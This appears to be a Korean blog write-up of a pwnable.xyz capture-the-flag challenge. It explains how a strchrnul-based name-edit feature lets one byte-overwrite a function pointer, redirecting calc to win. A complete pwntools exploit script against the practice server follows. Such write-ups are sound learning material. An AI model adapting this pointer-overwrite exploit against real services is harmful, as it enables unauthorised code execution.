

- 게임 실행
- 게임 저장
- 저장한 게임 삭제
- 이름 수정

이름을 수정할 수 있는 기능을 보면 원하는 문자를 1byte 변경이 가능하다
이때 strchrnul함수를 호출하는데 해당 함수는 문자열에서 인자를 받아 포인터를 반환한다
만약 찾는 문자가 문자열에 없으면 문자열 끝에 널 바이트가 있는 주소를 반환하게 된다
이걸 통해 calc(게임)함수가 있는 곳까지 overflow낸뒤 2byte를 바꿔 win함수로 만들어 주고 게임을 실행시켜 플래그를 얻으면 된다
from pwn import *
p = remote("svc.pwnable.xyz", 30015)
#p = process("./uaf")
def change_char(ch_char, new_char):
p.recvuntil(b"> ")
p.sendline(b"5")
p.recvuntil(b"replace: ")
p.sendline(ch_char)
p.recvuntil(b"char: ")
p.sendline(new_char)
calc = [b"\x0d", b"\x6b"]
win = [b"\x0c", b"\xf3"]
payload = b"A" * 0x7f
p.recvuntil(b"Name: ")
p.send(payload)
for i in range(5):
change_char(b"z", b"A")
change_char(calc[0], win[0])
change_char(calc[1], win[1])
p.recvuntil(b"> ")
p.sendline(b"1")
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / rwsr (0) | 2022.05.20 |
---|---|
pwnable.xyz / message (0) | 2022.05.20 |
pwnable.xyz / iape (0) | 2022.05.19 |
pwnable.xyz / strcat (0) | 2022.05.18 |
pwnable.xyz / J-U-M-P (0) | 2022.05.15 |